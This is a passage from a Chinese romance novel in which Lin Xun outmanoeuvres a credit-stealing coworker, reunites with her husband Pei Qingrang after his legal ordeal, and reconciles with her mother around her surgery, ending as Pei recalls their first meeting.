她食言了,她没有只?用?一点点时间想他,也没有只?是一点点想他。 她满脑子都是他,担心他睡得好不好、吃得好不好,被监视的日子那么难熬、他是不是很难过。 那样干净温柔的一个?人?,好像一直在被命运辜负,被她辜负。 十年前,裴清让捡到她的狗狗,约好高考结束见面?,却没有等到她。 他收养了她的小狗,因为觉得小狗在、就有见她的理由,可是后来,小狗也不在了。 十年后的现在,林姰拍下狗狗的照片,发给她的守护神,温柔而又坚定地告诉他:【小狗等你回来。】- 东恒汽车的新闻发布会近在眼前,林姰的工作?强度比以往更大。 发布会前两周,乐游、东恒以及多家供应商、合作?伙伴召开联合会议,乐游要在会上作?出最后的汇报。 林姰准备汇报文?稿准备了整整一个?星期,精神高度集中紧绷,到最后几乎是一个?字眼一个?字眼地抠、看?得自己都恶心。 安装到汽车上的智能?座舱,导航部分用?的是宏远地图,乐游这次想要争取宏远的投资,方?茂森千叮咛万嘱咐,汇报的时候一定要凸显宏远这部分。 敲完汇报材料的结束语,林姰紧绷的神经松懈下来,抬头才发现偌大的格子间已经空无一人?,只?有她面?前的电脑还亮着幽幽蓝光。 “林姰姐,还不走?吗?” 冷不丁从身后冒出的声音,吓到林姰。 她面?无表情?回头,见是刘文?文?,淡声:“这就走?了。” 林姰把熬了不知道多少?个?通宵的汇报文?稿,保存在电脑桌面?最显眼的位置,生怕别人?看?不见似的,而后一副累到极致忘关电脑的样子,打着呵欠拎包走?人?。 等电梯时,透过格子间的落地玻璃,林姰余光瞥见在她离开之后,刘文?文?果然?按捺不住往她的位置走?去。 翌日,乐游科技最大的那间会议室,多家供应商及合作?单位的老总、项目负责人?均已到场。 林姰抱着电脑进入会议室,方?茂森正在把陈万豪引荐给宏远地图公司的老总陈立。 乐游想要争取宏远的投资,千请万请才把他们请来,陈立是今天的重点讨好对象。 粥粥凑到她们旁边讲八卦:“你们听说没,宏远跟启航是死对头。” 赵然?:“当然?知道啊,市面?上导航做得最好的两家公司,一家是宏远,一家是启航,同行是冤家嘛。” 粥粥神秘一笑?:“不止如此哦,启航老总当年其实是宏远老总的助理,结果被老板娘看?上了,在宏远混不下去,最后自立门户创立启航。” 赵然?惊讶:“也就是说,宏远老总被启航老总绿过?” 粥粥点头:“千万别当着宏远的面?提启航,陈立脾气超级暴躁的。” 林姰准备汇报没有参与八卦,按理来说是她负责东恒这个?项目,汇报理应由她来。 只?不过方?茂森目光掠过她,直接叫住陈万豪:“下面?就让万豪给各位领导汇报一下这次智能?座舱的相关情?况。” 林姰见怪不怪意料之中,赵然?为她鸣不平:“东恒的项目,明?明?是你争取下来的,熬夜是你熬的,工作?是你做的,凭什么让陈万豪汇报?他陈万豪除了抢你功劳窃取你的创意他做什么了?” 林姰:“我想赌一把。” 赵然?诧异:“赌什么?” 林姰淡声:“赌陈万豪没长脑子。” 她双眼平静,看?向演示汇报文?稿的投影仪。 果不其然?,陈万豪点开的汇报,正是她当着刘文?文?面?、留在电脑上那份。 心脏犹如被一根细细的线吊起,林姰紧盯一页一页切换的幻灯片。 直到陈万豪顿了下,面?向宏远老总陈立的方?向开口:“座舱的导航部分,我们采用?的是宏远地图……” 他谨记方?茂森嘱托,正准备趁机阿谀奉承,会议室内突然?爆发一阵窃窃私语。 方?茂森脸色突变,不止是方?茂森,就连副总裁辛城也面?带怒气,声音冷得能?掉冰渣:“怎么回事?!” 陈万豪茫然?,是哪里出问题了吗? 他一个?字一个?字审视着幻灯片里的文?字,没有发现任何错误,直到台下某家公司的项目负责人?看?热闹不嫌事大,笑?问:“你们用?的是宏远地图,为什么幻灯片里的截图是启航地图的界面??” 陈万豪的冷汗一下子冒出来,脸瞬间涨成猪肝色,再看?投影仪上展示的截图界面?,那下面?竟然?真的带着启航公司的LOGO! 在座的恐怕没有人?不知道,宏远陈立曾经被启航老总绿过,陈万豪满脑子都是他完了,当着所有合作?商闹这么大一出乌龙,恐怕明?天就要传遍整个?汽车圈子。 林姰……林姰怎么会犯如此低级的错误? 他抬眼,台下林姰面?无表情?,那眼底分明?浮现微不可查的讥讽。 “投资的事情?,我们再议吧。” 宏远老总陈立当场起身要走?,辛城赶紧跟上,顺便叫住林姰:“你去汇报,让陈万豪滚下来!” 林姰面?不改色,一派置身事外的漠然?。 外婆总是跟她说要心地善良,要做个?好人?,她也的确一直如此。 但是现在,老公在国外,她心情?不是太好,见老公心切,所以解决对手的时候激进了点、干脆了点、不留情?面?了点。 对上陈万豪万念俱灰的目光,林姰微微一笑?。 对不住啦- 五月,东恒的项目到了发布会前最后的测试阶段。 在这期间陈万豪跳槽,乐游前任副总裁辞职后自立门户,创办自己的科技公司,说起来算是乐游的竞争对手,陈万豪莫名其妙被挖过去了。 午饭时间,赵然?疑惑:“我想不明?白为什么要把陈万豪那么一个?废物挖过去。” 林姰无所谓道:“管他呢。” 与此同时,手机推送新闻,标题里的“苍梧”二字毫不费力抓住林姰的眼球。 她屏住呼吸一目十行,新闻大意是说:近日,公安部门破获一起部级督办大案,高科中国分公司研发总监蒋政私下接触苍梧研发人?员,利诱他们在离职之前窃取苍梧商业机密,其手段之肮脏可谓无所不用?其极,从苍梧跳槽到高科的前研发总监赵毅协助警方?破案并提供大量物证。 此前,高科和苍梧的官司闹得沸沸扬扬人?尽皆知,高科指控苍梧偷窃高科商业专利,而苍梧正面?硬刚提出无罪抗辩,反手将高科告上法庭,双方?僵持不下。 如今,高科涉案人?员面?临有期徒刑,高科公司面?临巨额罚款,其产品由于存在网络安全隐患,不被允许再进入中国市场。 同时面?对芯片限制,外交部回应:“限制、打压阻挡不了中国的发展。” 那裴清让呢? 裴清让什么时候才能?回来? 在一起的时间过得很快,他不在的时间每分每秒都可以感知。 林姰熬了几个?通宵完成周末加班的工作?量,而后买了机票 ,准备出国去看?她异国恋的丈夫。 手机收到航班信息。 看?着那行日期,林姰突然?意识到那是他们去年领证的日子,也是裴清让的生日。 她记得去年自己生日的时候,她问裴清让有没有想要的,他只?说等以后告诉她。 这次她一定要问个?明?白。 睡前,林姰把行李收拾好。 她有些失眠,因为想到明?天见面?就精神亢奋,满脑子都是那个?混蛋。 迷迷糊糊闭上眼睛时,外面?天都快要亮了。 眼前一片黑暗,嘴唇却有被吻住的触感,柔软湿润的触感让人?心脏战栗。 她睁开眼睛,那人?眼睫鸦羽般漆黑浓密,他看?着她却没有停止吻她,嘴唇软得不可思议。 久违的清冽气息,久违的温暖怀抱。 她在被吻的间隙,不可置信地问他:“你回来了?” 裴清让眉眼弯下的弧度好漂亮:“回来了。” 她紧张兮兮地确认:“不走?了?” 他笑?,再度吻下来:“嗯,不走?了。” 林姰是被闹钟吵醒的。 当她睁开眼睛,外面?天光大亮。 眼前仍是只?有她一个?人?在的家,空空荡荡。 这样的梦她不知道做了多少?个?,可还是会被骗。 林姰起床洗漱收拾自己,忍不住幻想,如果她会瞬移就好了,就可以和裴清让多待三十个?小时,他们在一起的时间,已经宝贝到需要把每一分钟都掰开。 昨天晚上加班回来,她已经把行李收拾好。 出门前,她最后检查自己的证件、手机、钥匙有无遗忘,而后准备先把狗狗送到祝余那里。 突然?之间,一向温顺且情?绪稳定的狗狗跑到门口,狂吠不止。 林姰想起,往常这个?时间是会有人?上门送花的,送给“宝贝女?士”,而晚上她不加班的时候,也会收到送给“宝贝女?士”的昂贵晚餐。 她太想去见裴清让,以至于忘记打电话先取消。 裴清让这个?混蛋,不在家还要让她每天都想起他,真的太过分了。 林姰开门,映入眼帘的是正中她喜好的花束,油画般烂漫的色彩,让人?心情?跟着明?亮。 她在浅淡的花香里,似乎闻到了如同雪后松林的清冽气息,什么花会有裴清让的味道? 只?是她急着出门赶飞机,根本顾不上细看?。 直到,清越含笑?的嗓音却没有任何预兆、从头顶落下:“小姐,您的花,签收一下?” 手里准备签收的签字笔掉在地上,发出“啪嗒”一声响。 林姰怔愣着抬头。 白衬衫黑色西装裤,黑发黑瞳、高眉骨高鼻梁,天生让人?过目不忘的一张脸,不是裴清让是谁? 他松散随意得仿佛只?是出了一次远门,她却站在那里久久无法回神,甚至分不清梦境现实。 生怕自己一开口,梦境就要如同泡沫破碎,眼前的人?会倏然?消失不见。 她已经失望太多次了。 裴清让低头,柔声问她:“怎么,不认识了?” 林姰伸出手指,在他脸颊戳戳、捏捏。 竟然?是真的,她的鼻腔一下子就酸了。 她深深望着那人?漂亮深邃的眉眼,带着浓重鼻音说道:“不想签收花,想签收人?。” 裴清让眉眼弯弯,漆黑眼底尽是干净明?亮的纵容:“花是你的,人?也是。” 林姰扑上去抱住他,委屈、想念、长久以来的担惊受怕,在这一刻化作?紧紧的拥抱。 终于抱到了,终于抱到这个?让她日思夜想的人?,她的眼睛不受控制慢慢湿润。 原来美梦真的可以成真。 “不走?了?” “不走?了。” 心脏重重落入想念已久的温暖怀抱。 “你怎么总是买花?” 裴清让低头看?向怀里的人?,语气轻如羽毛:“因为高中的时候你说,恋爱要从表白和一束花开始。” “每天买花,是想告诉你,”视线相对,他一字一顿对她说:“在一起的每一天都想和你谈恋爱。” 所以他真的听见了。 所以恋爱要从一束花开始,结婚是一辈子的恋爱、要从一片花海开始。 所以每一束花,都是表白,都是在替他跟她说我喜欢你。 “林姰。” 裴清让垂眸看?向她,眉眼间仍有少?年时的青涩俊秀,那是少?年看?向心上人?才会有的眼神,没有一丝杂质。 他的眉眼轻轻弯起,终于可以说出高中毕业那年想要对她说的话—— “我喜欢你,请你考虑我。” 【完结】 第59章 第 59 章 生日愿望 林姰人?生缺的那块拼图好像被人?拼上了。 现?在想来, 她二十八岁的人?生非常圆满,正在爱着,也?正在被爱。 阳光晴好的春日?, 这个家重新变得满满当当,她的心里不再发空。 十七岁的裴清让收养了她的白色小狗, 二十七岁的裴清让和她有了一个家。 裴清让换下衬衫西装裤、换回她喜欢的T恤运动裤。 他的头发刚修剪过, 鬓角特别整齐, 俊秀的脸部线条全部显现?, 男人?脸型偏瘦、棱角分明?、皮肤还白, 黑发蓬松柔软搭在眉宇, 透着清澈少年气。 林姰牵他的手:“回房间睡一会儿吧?” 裴清让垂着长?长?的睫毛, 黑发半干,瞳孔也?氤氲着水汽一般,显得看向她的眼?神湿漉漉的, 轻易让人?心软。 林姰歪了歪脑袋:“我陪你?” 喜欢一个人?的林姰,敛起尖刺与棱角、柔软无害, 喜欢都写在眼?角眉梢, 露出原本非常可爱纯粹的一面。 裴清让俯身和她平视, 笑问:“请问这位同学, 是有读心术吗?” 林姰也?笑, 弯弯的眉眼?弧度特别治愈:“没有读心术,是我喜欢你。” 这个世界上哪有什么读心术呢? 是因?为喜欢、在意、时刻挂念,才能在你不说话的时候看透你的想法。 裴清让的房间被林姰定期打扫, 每个休息日?她晒自己被子的时候、也?会连裴清让的一起,甚至自己换了一套图案幼稚的奶黄色床单被套,也?给裴清让换上了。 除此之外,还有那些零零散散的日?用品, 但凡自己采购也?要给裴清让买一份,就?像他也?在家,就?像他明?天就?会回来,她从来不说想他,可是点点滴滴里都是。 为了赶飞机,林姰起了个大早,这会儿又困又兴奋。 当她躺到?裴清让身边,莫名觉得他房间的床更软、味道更好闻、尤其是还有一个自己房间没有的人?形抱枕,男人?肩膀宽阔腰身窄瘦,抱起来非常舒服,怀里的气息让人?忍不住想要埋头深呼吸。 “你要枕着我的手臂吗?” 如此美色在前,林姰毫不犹豫地点头,眼?睛亮亮地说:“裴清让,我决定了。” 裴清让眼?神询问:“什么?” 林姰仰着脸说:“从今天开?始,我就?要睡这个房间、睡这个床,还有……” 裴清让嘴角始终勾着,看起来特别软:“还有什么?” 林姰想说,还有睡你。 但是胆大包天如她,也?没能轻易把这句话说出口。 一是因?为裴清让刚回国、她想些这个其实挺流氓的。 二是裴清让那个纯爱战神,尺度应该没有这么大,需要徐徐图之。 所以眼?下,她的态度相当一本正经?:“提前跟你说,是让你有个心理准备。” 裴清让似被逗笑,眉眼?弯弯、听之任之:“好。” 林姰脸颊埋在裴清让颈窝,呼吸之间都是他脖颈处温热治愈的味道:“官司算是结束了吗?” “结束了。” 高科在重压之下放弃起诉,仍然?想要尝试进入中国市场,但应该是没可能了。 想想他被拘禁、被监视的一百多个日?日?夜夜,林姰眼?睛里的心疼有如实质:“是不是很难熬?” 裴清让抚摸她的眉眼?脸庞,呼吸交织的距离,他轻声说:“想想你的话就?还好。” 他瘦得很明?显,下颌有更锋利的棱角,她抱着他的腰、腰身也?细了不止一点。 林姰温声:“睡会儿?” 裴清让只是说:“让我好好看看你。” 那道温柔干净的目光,流转在她的眉眼?鼻唇,安静柔软,她感受到?他的目光寸寸下落,带着珍而重之的意味,心脏砰砰直跳。 她被看得害羞,伸手去捂住他的眼?睛,感受到?浓密的睫毛扫在自己掌心:“别看了,脸红了 ……” 裴清让握住她的手,薄唇贴上去,眼?睛微微弯:“脸红也?好看。” 林姰脸颊发烫,咬住下嘴唇,嘴角忍不住上扬:“今天生日?,有没有什么愿望?” 裴清让:“你在,我就?没有生日?愿望。” “那你想一个,等想好了再跟我说。” 这一百多个日?日?夜夜提着的心脏终于落入温暖的怀抱。 林姰紧绷的神经?慢慢松懈下来,在裴清让温热清冽的怀里睡着。 她是被手机震动吵醒的。 睁眼?时,裴清让近在咫尺,她一时半会还没从他回国这件事里缓过神来,以至于在看到?他的现?在,觉得非常惊喜,心尖仿佛裹了一层蜜糖,快要在暖融融的被窝里融化?。 她伸手去拿手机,她一动,裴清让也?半醒,下意识收紧抱她的手臂,鼻音浓重透着惺忪:“不准走。” 他一定是还在睡梦里,才会流露出平时少见的、像个少年的霸道和不讲理,腰上的手臂坚硬且存在感十足,林姰柔声说:“不走,我接个电话。” 看到?那个电话号码,林姰原本不想接,但还是硬着头皮按下接听,低低叫了声妈。 只是电话那边没有崔女士的声音,耳边传来小心翼翼克制着的哭到?哽咽的抽泣声。 是弟弟。 林姰:“小远?你现在在哪?妈妈呢?” 弟弟哭着说:“姐姐,妈妈要动手术了,爸爸不在家,我很害怕……” 手术?什么手术? 林姰神经?在瞬间绷紧到?极致:“妈妈能接电话吗?” 电话那边很吵,崔女士的声音由?远及近:“小远,你在给谁打电话?” “姐姐……” “你给姐姐打电话做什么,姐姐工作那么忙……” “林姰,我没事。”崔女士接过电话,即使语调和平时无异,但仍透着难以掩饰的虚弱。 林姰起身就?要往外走:“你现?在在哪?” 电话那边像是被人?捂住,可她还是听见护士过来安排术前事项,偏偏崔女士嘴硬:“我就?是感冒打个针。” 林姰没有迟疑:“我现?在过去。” 她挂断电话,冷意顺着脊椎四散,仿佛溺在数九寒天的深潭,整个人?是木的。 裴清让握住她的手,让她回神:“怎么了?” 林姰嗓音发颤:“我妈生病了,但她不肯跟我说实话。” 她突然?想起外婆。 她最后一次见外婆的时候,外婆已经?知道自己生病,用近乎乞求的语气,对她说等以后她不在了,可不可以看在外婆的面子上,对妈妈好一点。 外婆知道她让你伤心、让你难过,外婆不应该这样拜托你,可是她是我的女儿啊…… 林姰一直以为自己亲缘浅薄,爸爸妈妈不喜欢她就?不喜欢了,她可以一个人?住,可以不和他们见面。 可现?在她突然?意识到?:妈妈可以不喜欢她,但是妈妈不可以不在。 裴清让开?车送她去医院。 自责、愧疚、恐惧齐齐上涌,将她兜头淹没,林姰低声喃喃:“外婆生病的时候,我没有带妈妈去体检,我自己生病的时候,也?没有带妈妈去体检,我明?明?知道癌症基因?是会遗传的……” 裴清让握住她冰凉的手,他的掌心温暖干燥、体温缓缓渗透,可林姰还是觉得很冷:“外婆信佛,信因?果,总跟我说多做好事才有福报,可是我没有做很多好事,没有办法求神佛保佑妈妈没事……” 当林姰站在病房门口、隔着房门窗户看到?一身病号服的崔女士时,眼?睛里的热意变得湿润。 她深呼吸压下所有酸涩和恐惧,换上她对抗世界的没有表情的脸,推开?病房的门。 崔女士脸色苍白,见他们都来了,轻叹口气:“都说没事了,还跑过来做什么?” 可那像是责备的话语里,也?有淡淡的委屈,人?在生病的时候是很脆弱的,她的身边只有没人?带、尚且年幼的儿子。 林姰清清冷冷一张脸,看着就?很不好接近,鼻腔却在泛酸,那阵酸意冲上眼?眶,睫毛沾了潮气。 “什么时候手术?” 崔美珍抬头望向自己的女儿,林姰一直和她不亲,她们也?从不像寻常人?家的母女腻腻歪歪,可是现?在她站在自己面前,眼?圈是红的。 她的嗓音不自觉软下来:“妈妈没事,你不要害怕,下午手术,很快。” 刚好医护人?员过来提醒家属缴费,裴清让起身要去,林姰按住他的手臂:“我去。” 裴清让目光追随,看到?林姰在转身时手背悄无声息抹过眼?睛,她是怕在妈妈面前哭。 崔美珍躺在病床上,脑袋放空,不受控制地想到?自己的妈妈。 她会是和妈妈一样的病吗?会是恶性?的吗?如果是的话,她应该怎么办? 她知道自己的身体垮掉,是因?为没有生男孩、二胎的时候试管,她不想离婚,就?只能牺牲自己的健康。 眼?下,她的女儿似乎也?到?了不得不面对生育的年纪。 她看向自己病床前高大英俊的年轻男人?,以妈妈的身份问道:“小裴,你们现?在有要孩子的打算吗?” 裴清让惜字如金:“没有。” 崔美珍试探:“以后要孩子的话,你喜欢男孩还是女孩?” 他这样凌驾众人?之上的权势,手里还有一个市值疯涨的芯片公司,到?时候肯定是需要有人?继承的。 那他重男轻女吗?会不会也?一定要逼着林姰生个男孩才行? 如果那样的话,林姰应该怎么办? “我不喜欢男孩,也?不喜欢女孩,”裴清让俊脸清冷,眉骨到?鼻梁下颌是一道傲气的弧线,“我只喜欢林姰。” 崔美珍感到?错愕,在她的观念里,结婚生子是女人?必须经?历的事情:“那你们总得有个孩子吧?” 裴清让眼?形天生锋利,不笑的时候很冷,尽管他在长?辈面前是话少谦逊的模样,但是上位者的气势太盛,淡声反问:“谁规定的,也?不是什么很稀有很值得遗传的基因?。” “那你的公司怎么办?总要有人?接班吧?” “我不会一直在苍梧工作下去。” 他太冷静也?太冷淡,说话时不带半分情绪,让人?难以捉摸。 “你的资产呢?总要有人?继承吧?” “捐掉就?可以了。” 崔美珍职位尚可,但也?只是个赚死工资的公务员,她看新闻上说起裴清让,身家的计量单位是亿、普通人?多少辈子赚不到?也?花不完的数字。 “那么多的钱你……” 裴清让语气淡漠:“捐给国防、捐给科研、捐给山区学校,总有能用得到?的地方。” 如果真的像林姰说的那样,善有善报。 那他多做好事,可不可以换下辈子还能遇到?她。 崔美珍久久不能回神:“那你和林姰就?两个人?过?” 她身边不是没有丁克,但是这些丁克到?最后都是男方反悔,男人?不用十月怀胎就?能白得一个跟自己姓的孩子,想逗一逗的时候就?逗一逗,不想逗的时候就?扔给自己老?婆,白捡的便宜为什么不要呢? 男方反悔的时候,女方要么妥协当高龄产妇,要么离婚看男方去找别人?生,现?实总是令人?唏嘘。 崔美珍不无担心,却听裴清让说:“我不需要林姰当谁的妈妈、谁的妻子,她只需要做自己。” 林姰缴费回来,眼?圈和鼻尖都是红的。 她害怕妈妈手术之后取出的肿瘤是恶性?,害怕妈妈和外婆一样,害怕自己以后每每想起妈妈不再是埋怨而是想念和后悔。 她想起妈妈没生二胎时每次生理期都要被奶奶恶言相向,想起妈妈上班累了一天还要回家做饭给她检查作业、在她睡着后把她的校服洗得干干净净,其实她和爸爸、奶奶一样,都是压榨妈妈的帮凶。 也?想起外婆握着自己的手、拜托自 己对她的女儿好一点,可是她根本没有做到?,结婚后在每次妈妈打电话让她回家吃饭的时候说自己要加班,想起妈妈给她做的青梅露因?为没来得及吃发霉只能扔掉。 她知道妈妈没有那么喜欢她,但是她已经?没有外婆了,不能再没有妈妈。 她从来没有说过爱她。 林姰深呼吸压下所有酸涩和恐惧,确定自己没有异样,手搭在病房的门把手上。 就?在这时,裴清让冷而凝定的嗓音从门里传来—— “阿姨,我也?有话想跟您说。” “高中的时候台风天,所有同学都有人?来接,只有林姰一个人?站在那里等雨停。” 林姰愣在那里,拼命忍住的眼?泪在这个瞬间夺眶而出,只是因?为,经?年累月里从来没有人?看到?的委屈,被看到?了。 崔美珍怔愣着抬头:“她一直很独立,性?格很冷漠也?很坚硬,我觉得她从来都不需要我啊……” “因?为她知道,即使自己需要也?得不到?,所以才会说不需要,因?为情绪从来不被在意,所以都是自己消化?。” “她不冷漠,她会帮路边不认识的唇腭裂小朋友,也?会帮家境困难的同学要回贫困生补助。” “她批改作业的时候喜欢给自己画笑脸、给自己写‘你超厉害’,考试考得好的时候、会给自己买小蛋糕,吃到?好吃的就?笑弯眼?睛,根本不需要哄,就?能自己开?心起来。” “她总是用自己的对立面保护自己,明?明?心思细腻柔软却偏要表现?得尖锐冷漠,因?为在原生家庭里没有被认真爱过。” 崔美珍从来都不知道,自己眼?里淡漠不爱说话的女儿,在他的眼?里,如此温柔、可爱、鲜活、善良,以至于她喉头酸涩,一时之间无法言语。 “林姰很爱您。” “所以以后您能不能,”裴清让轻声说,“也?对她也?好一点。” 裴清让起身,猝不及防和门外那双蓄满泪水的、满是委屈的眼?睛四目相对。 他拉开?门、带上,走到?她的面前,眉眼?间全无平日?的冷静淡定:“怎么了?” 林姰生怕自己开?口就?要带上哭腔,只是朝着他张开?手臂,嘴型说了一个字:“抱。” 裴清让把她拥入怀中,下巴抵在她的发顶:“我知道我的生日?愿望是什么了。” 林姰眼?泪滑落,鼻音很重地问:“什么?” 裴清让手臂收紧,冰冷嗓音柔软、带着哄人?的温柔:“希望这个世界上,不要再有让林姰哭鼻子的事情。”第60章 第 60 章 是个混蛋 裴清让去年的生日愿望已经?借给她, 今天的生日愿望又跟她有?关。 这样高高在上的人,竟然会为了她用近乎恳求的语气跟妈妈说?:能不能也对她好一点。 难怪有?人说?:被爱好似有?靠山。 崔美珍术前的最后时刻,只有?林姰在。 她不知道应该说?什么, 而病床上的妈妈眼睛放空,同样不知道在想?什么。 静默无言的时刻, 林姰手指攥了攥, 握住妈妈的手。 就这样一个微小的动作?, 已经?耗费了她所有?的勇气。 好像幼儿园之后, 她就没有?和妈妈有?过这样亲昵的姿态。 崔美珍躺在病床上, 眼睛看着天花板, 声音没有?力?气:“我的妈妈离开的时候, 我也这样握着她的手。” “当初我和你?爸结婚,她就非常反对,她说?你?爸爸是大学生、长得又好看, 愿意跟我结婚,多半是因为你?外公是区里的领导, 我不信, 家里越是阻挠, 我就越是要跟他在一起?。” “后来你?奶奶重男轻女, 你?爸也是, 你?外婆让我离婚,我还是不肯……为此,我和你?外婆的关系一直很僵。” “她离开的那个月, 我让你?在学校住宿,我哭了整整一个月,晚上哭完,白天继续去上班, 我连自己都顾不过来了,还要照顾你?弟弟……我应该告诉你?的。” 她顿了顿,嗓音颤抖着说?:“妈妈错了。” 一句话,就让林姰鼻子?酸了。 “我虚荣、要强、不甘心比别?人差,所以?你?从小到大我总是逼你?考第一,每次想?要夸你?又怕你?骄傲,所以?你?才会批改作?业的时候自己给自己画笑脸、夸自己做得超棒吧?小裴不说?,我都不知道……” 崔美珍偏过头看她:“你?小时候问我,爱不爱你?,我说?我其实挺后悔生下你?的……生下你?之后,我一直看婆家的冷脸,工作?也受挫,跟你?爸爸又不合,但这些都不是我伤害你?的理由……” “不会哭的小孩也应该有?糖吃的,”崔美珍回握她的手,掌心有?种妈妈身上独有?的温暖,“对不起?啊。” 林姰垂着眼,睫毛沾了水汽变成一簇簇的,鼻尖和眼皮都通红,崔美珍才发现,她印象里坚强的、冷漠的女儿,在自己面前哭的时候,也会像一个受了天大委屈的小朋友。 “裴清让跟我说?,与亲近之人,不可?说?反话,不可?说?气话,不可?不说?话。” 林姰在这一刻,看向病床上的妈妈,嘴角缓缓牵出一个笑:“我想?你?没事。” 护士过来通知,可?以?去手术室了。 “林姰。” “嗯……” 病床上的妈妈起?身:“抱抱妈妈吧。” 林姰弯腰环住妈妈的肩膀,听见崔女士轻声说?:“手术之后,妈妈会离婚,以?后你?来找妈妈,不用担心爸爸在家。” 林姰无声流泪,眼泪落进?病号服的衣领。 崔美珍的手在她后背轻轻拍了拍:“不会有?事的,妈妈走啦。” “手术中?”的指示灯亮起?。 想?到妈妈马上要经?历什么,林姰的脸埋进?掌心,一片湿润。 在她肩膀颤抖的时候,有?人伸手把?她揽进?怀里,就算外面狂风暴雨,这片避风港永远都在。 手术是微创,崔女士不想?住院,当晚就执意回了家。 肿瘤取出来需要病理,三个工作?日后结果出来,是良性。 出检查结果的第二天,崔美珍和林秀东办理离婚手续,彻底结束三十年婚姻。 林姰等在民政局门口,看着妈妈重获新生。 这一天阳光晴好,不知道外婆能否看见,如果看见,她一定会高兴的。 林姰问妈妈:“怎么就突然下定决心?” 崔美珍的眉眼之间,有?若有?所失的彷徨,也有?劫后余生的畅快,她有?些不太好意思地说?:“因为知道一个人爱另一个人是什么样子?了,觉得自己不能再这样可?怜地过下去。” 林姰不明?所以?,听妈妈说?:“手术那天,我试探过小裴关于生孩子?的看法,我怕他跟你?爸爸一样,你?会吃苦。” 林姰的心脏发紧,她从来没有?跟裴清让探讨过这方面的问题。 一开始是结婚搭子?没有?必要,后来是生理性喜欢及时行乐不需要考虑以?后,再是她发现她喜欢他,这个问题突然变得很难问出口。 男人不用怀胎十月,不用承受肚子?里原本有?序的一切被胎儿挤压,更不用经?历产床上近乎原始动物的恐怖画面,甚至是孩子?出生之后,还可?以?以?“我要赚钱养家”这个借口逃避家务,对于孩子?,只要心情好的时候逗一逗,就能对外营造出好爸爸的形象。 裴清让跟那些男人不同,他温柔、情绪稳定、溺爱起?来没有?度,会是一个非常尽职尽责的父亲,肯定能养出非常优秀的宝宝,但是她不喜欢小孩、非常排斥生育这件事,如果裴清让想?要有?自己的孩子?,她不知道应该怎么办。 她小声问:“他怎么说??” 妈妈笑着,一字一顿复述那句让她这个旁观者、都心脏震颤的话:“小裴说?,你?不需要当谁的妈妈、谁的妻子?,只需要做你?自己。”- 白天,林姰陪着妈妈看房、搬家、收拾东西,晚上才回自己家。 到家时,裴清让正?在阳台和狗狗玩,男人侧脸俊秀、嘴角勾着柔软的弧度,白色T恤罩着宽肩,干干净净的模样就已经足够让人心动。 林姰洁癖,忍住抱他的冲动先去洗澡,洗完澡之后迫不及待跑到裴清让面前伸手环住他的腰,脸埋在他的怀里,那清冽治愈的气息无声融化这些天来的紧张不安。 妈妈的手术虽然是微创,但到底从肚子?里取了东西出来,更何况还有?弟弟需要人照顾,她不放心,这几天都在妈妈那里,却好像已经?很久很久没有?见过他。 她愧疚道:“生日和结婚纪念日都没过。” 裴清让摸摸她的头:“不重要。” 林姰仰起?脸,下巴抵在他胸口位置,很严肃地说?:“重要,跟你?有?关的日子?都很重要。” 裴清让眼睛微微弯:“跟你?在一起?的每一天,都是纪念日。” 他也未免太会宽慰人心,想?起?什么,林姰又说?:“妈妈说?你?告诉她我们不要孩子?。” “对,我们不要。” 裴清让的语气漫不经?心又不容质疑,如同阐述一个不需要再去证明?的数学定理。 林姰也有?些发愁:“那你?的钱、车子?、房子?还有?那些贵得吓死人的手表,怎么办?” 裴清让淡淡回应:“给裴樱留一部分,剩下的都捐掉。” 林姰惊讶写在脸上,莫名有?些呆。 裴清让捏她的脸:“你?不是说?因果轮回吗?如果真的有?,那就当行善积德。” 林姰问:“为什么?” 裴清让散漫笑了下,语气轻缓,咬字清晰:“换下辈子?再遇见你?。” 一个搞高科技的,竟然会信自己说?的那些看不见摸不着的东西,或许他也不是相信,是真的还想?要和她在一起?,林姰心脏酸软。 “如果真有?下辈子?,我来暗恋你?,我还没暗恋过人呢,”她认真想?了下,“但我的性格应该不会暗恋。” 对着那张冰冷沉默但让人心动的脸,林姰大放厥词:“我会毫不犹豫把?你?拿下。” 裴清让无声勾了下嘴角:“那我就等着了。” 林姰眉眼弯弯:“好!” 但她觉得不太稳妥,又问:“要不先透露一下我应该怎么追你??” 裴清让俯身,视线流转在她眉眼之间,尽是干净明?亮的纵容:“不用追,勾勾手指就可?以?了。” 自己怎么会被人珍视至此,就连不着边际的玩笑,他都一副听之任之哄她高兴的模样。 林姰心底有?个疑惑,一直没有?找到机会问出口:“裴清让。” “嗯。” “你?为什么喜欢我啊。” 她实在想?不出自己有?什么好被人喜欢的、还被人喜欢那么多年。 裴清让淡声:“我第一次见你?,不是高一开学,而是中?考完的暑假。” 林姰蹙眉。 像他这样让人过目难忘的男孩子?,她高一开学那天就被惊艳到——军训场上,秋天日光兜头而下,男生个子?高高的,五官如刀刻般立体?冷峻,军训服腰带一扎腿长惊人,帅得身边女孩子?吱哇乱叫。 如果她在此之前见过,怎么可?能? “那天你?应该是辅导班刚刚下课。” 中?考过后的暑假,他还未成年,找不到正?经?兼职,只能打一些类似发传单的工。 他不放心妹妹自己在家,只能带在身边,裴樱很乖,就在辅导班报名的地方等他,因为唇腭裂的关系,她的脸上总是戴着儿童口罩,即使那天气温已经?超过三十度。 不知道从哪儿冒出的熊孩子?,凑到裴樱身边:“你?为什么戴口罩?不热啊?” 说?着,调皮捣蛋的男生就把?裴樱的口罩摘了。 下个瞬间被惊得爆出一声粗口,紧接着就开始喊自己的同伴来看。 裴樱伸手去夺口罩、因为个子?太矮够不到急得要哭了。 他扔下一摞传单大步走过去,恨不得拎起?男生的衣领扔到电线杆上挂着。 就在这时,被举高过头顶的口罩被人抢下。 男生冷不丁被人推到一边撞到电线杆,疼得龇牙咧嘴。 冷冷清清的女孩子?,脸上没有?表情,蹲下身看着妹妹的眼睛,嘴角缓缓弯出一个安抚的笑:“呀,从哪儿来的小精灵。” 她的动作?很轻,语气也很温柔,小心翼翼把?口罩挂回妹妹的耳朵上:“怎么自己一个人?” “哥哥在打工,”妹妹转头,已经?看到隔着一条马路的他,“哥哥来了。” 女孩点头,在她脑袋上揉了一把?:“那我走啦。” 那是他们见的第一面,她和他擦肩而过。 “第二次见你?,是高中?开学那天。” 他没有?想?过还会遇见她,虽然班里还有?空座位,却还是径直走到她身边,问:“同学,这儿有?人吗?” 换来她冷冷淡淡一瞥:“没有?,你?坐。” 他并没有?要喜欢她,只是注意力?总不自觉被她吸引,慢慢发现—— 